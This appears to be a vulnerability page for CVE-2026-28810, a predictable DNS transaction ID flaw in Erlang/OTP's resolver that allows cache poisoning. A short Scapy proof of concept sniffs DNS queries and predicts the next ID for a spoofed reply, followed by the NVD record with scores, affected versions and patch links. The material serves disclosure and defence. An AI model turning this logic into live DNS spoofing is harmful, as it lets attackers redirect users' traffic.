CVE-2026-28810

#!/usr/bin/env python3 # PoC for CVE-2026-28810: Predictable DNS Transaction ID # This script demonstrates the logic to predict the next Transaction ID. # In a real attack, the attacker would spoof a DNS response with this ID. from scapy.all import * def predict_next_id(current_id): # Erlang/OTP uses a sequential 16-bit ID return (current_id + 1) % 65536 def monitor_dns_traffic(interface): print(f"[*] Monitoring DNS traffic on {interface}...") sniff(iface=interface, prn=dns_callback, filter="udp port 53", store=0) def dns_callback(packet): if packet.haslayer(DNS) and packet[DNS].qr == 0: current_id = packet[DNS].id predicted_id = predict_next_id(current_id) print(f"[+] Observed Query ID: {current_id}") print(f"[+] Predicted Next ID: {predicted_id}") print("[!] Attacker can now spoof a response with ID {}".format(predicted_id)) # Note: This requires root privileges and Scapy installed. # Usage: python3 poc.py

{"cve": {"id": "CVE-2026-28810", "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "published": "2026-04-07T09:16:20.473", "lastModified": "2026-04-23T15:18:31.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Generation of Predictable Numbers or Identifiers vulnerability in Erlang/OTP kernel (inet_res, inet_db modules) allows DNS Cache Poisoning.\n\nThe built-in DNS resolver (inet_res) uses a sequential, process-global 16-bit transaction ID for UDP queries and does not implement source port randomization. Response validation relies almost entirely on this ID, making DNS cache poisoning practical for an attacker who can observe one query or predict the next ID. This conflicts with RFC 5452 recommendations for mitigating forged DNS answers.\n\ninet_res is intended for use in trusted network environments and with trusted recursive resolvers. Earlier documentation did not clearly state this deployment assumption, which could lead users to deploy the resolver in environments where spoofed DNS responses are possible.\n\nThis vulnerability is associated with program files lib/kernel/src/inet_db.erl and lib/kernel/src/inet_res.erl.\n\nThis issue affects OTP from OTP 17.0 until OTP 28.4.2, 27.3.4.10 and 26.2.5.19 corresponding to kernel from 3.0 until 10.6.2, 10.2.7.4 and 9.2.4.11."}], "metrics": {"cvssMetricV40": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-340"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.0", "versionEndExcluding": "26.2.5.19", "matchCriteriaId": "5E9FD459-CC4D-4592-ADB7-95ADFD4EE25B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*", "versionStartIncluding": "27.0", "versionEndExcluding": "27.3.4.10", "matchCriteriaId": "2771D519-4124-4D3F-A8E0-3E4704973B3E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*", "versionStartIncluding": "28.0", "versionEndExcluding": "28.4.2", "matchCriteriaId": "D2E111DA-579A-438F-A2FF-5799B01AF401"}]}]}], "references": [{"url": "https://cna.erlef.org/cves/CVE-2026-28810.html", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/erlang/otp/commit/36f23c9d2cc54afe83671dd7343596d7972839a5", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Patch"]}, {"url": "https://github.com/erlang/otp/commit/b057a9d995017b1be50d6dc02edd52382f3231b8", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Patch"]}, {"url": "https://github.com/erlang/otp/commit/dd15e8eb03548c5e55e9915f0e91389ec6bad9fd", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Patch"]}, {"url": "https://github.com/erlang/otp/security/advisories/GHSA-v884-5jg5-whj8", "source": "6b3ad84c-e1a6-4bf7-a ... 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